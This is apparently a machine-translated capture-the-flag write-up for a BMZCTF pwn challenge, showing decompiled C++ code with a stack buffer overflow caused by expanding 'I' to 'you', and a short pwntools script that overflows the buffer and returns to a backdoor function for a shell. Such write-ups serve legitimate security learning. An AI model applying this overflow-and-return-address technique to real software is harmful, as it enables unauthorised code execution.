当前位置:网站首页>[BMZCTF-pwn] 11-pwn111111
[BMZCTF-pwn] 11-pwn111111
2022-07-06 10:43:00 【Shi Shi Shi Shi Shi Shi Shi Shi Shi Shi Shi Shi Shi Shi Shi Shi】
There is still no remote environment , However, this stack overflow is related to libc It's not a big deal .
The program is hard to understand , notice replace Here should be input I convert to YOU. I tried it, and it turned out to be . use gdb After follow-up, I found that 60 Bytes of space will be input 32 After byte replacement, it is filled and overflowed , But the overflow is not too big , Even if you put ebp Add in 21 individual I The simplest vulnerability cannot be reached after replacement rop(plt.puts,ret,got.puts) The length of . Then look back , Here is a door , Just overflow directly and write the back door .
int vuln()
{
const char *v0; // eax
char s[32]; // [esp+1Ch] [ebp-3Ch] BYREF
char v3[4]; // [esp+3Ch] [ebp-1Ch] BYREF
char v4[7]; // [esp+40h] [ebp-18h] BYREF
char v5; // [esp+47h] [ebp-11h] BYREF
char v6[7]; // [esp+48h] [ebp-10h] BYREF
char v7[5]; // [esp+4Fh] [ebp-9h] BYREF
printf("Tell me something about yourself: ");
fgets(s, 32, edata);
std::string::operator=(&input, s);
std::allocator<char>::allocator(&v5);
std::string::string(v4, "you", &v5);
std::allocator<char>::allocator(v7);
std::string::string(v6, "I", v7);
replace((std::string *)v3); // hold I Replace with YOU
std::string::operator=(&input, v3, v6, v4);
std::string::~string(v3);
std::string::~string(v6);
std::allocator<char>::~allocator(v7);
std::string::~string(v4);
std::allocator<char>::~allocator(&v5);
v0 = (const char *)std::string::c_str((std::string *)&input);
strcpy(s, v0);
return printf("So, %s\n", s);
}
from pwn import *
p = process('./pwn')
context(arch='i386', log_level='debug')
p.sendline(b'I'*20+b'XXXX'+p32(0x8048f0d))
p.recv()
p.interactive()
边栏推荐
- CSDN-NLP:基于技能树和弱监督学习的博文难度等级分类 (一)
- MySQL34-其他数据库日志
- C language advanced pointer Full Version (array pointer, pointer array discrimination, function pointer)
- MySQL22-逻辑架构
- Implement sending post request with form data parameter
- Chrome浏览器端跨域不能访问问题处理办法
- 数据库中间件_Mycat总结
- MySQL storage engine
- Use JUnit unit test & transaction usage
- Navicat 导出表生成PDM文件
猜你喜欢
Implement sending post request with form data parameter
UEditor国际化配置,支持中英文切换
实现以form-data参数发送post请求
Not registered via @enableconfigurationproperties, marked (@configurationproperties use)
Win10: how to modify the priority of dual network cards?
Mysql36 database backup and recovery
Mysql28 database design specification
MySQL21-用戶與權限管理
Moteur de stockage mysql23
Super detailed steps for pushing wechat official account H5 messages
随机推荐
Baidu Encyclopedia data crawling and content classification and recognition
[programmers' English growth path] English learning serial one (verb general tense)
Mysql34 other database logs
[Julia] exit notes - Serial
pytorch的Dataset的使用
Anaconda3 installation CV2
Mysql28 database design specification
Win10: how to modify the priority of dual network cards?
API learning of OpenGL (2005) gl_ MAX_ TEXTURE_ UNITS GL_ MAX_ TEXTURE_ IMAGE_ UNITS_ ARB
使用OVF Tool工具从Esxi 6.7中导出虚拟机
Discriminant model: a discriminant model creation framework log linear model
Software test engineer development planning route
Use of dataset of pytorch
windows无法启动MYSQL服务(位于本地计算机)错误1067进程意外终止
Global and Chinese market of transfer switches 2022-2028: Research Report on technology, participants, trends, market size and share
UEditor国际化配置,支持中英文切换
MySQL18-MySQL8其它新特性
February 13, 2022-3-middle order traversal of binary tree
基于Pytorch肺部感染识别案例(采用ResNet网络结构)
Security design verification of API interface: ticket, signature, timestamp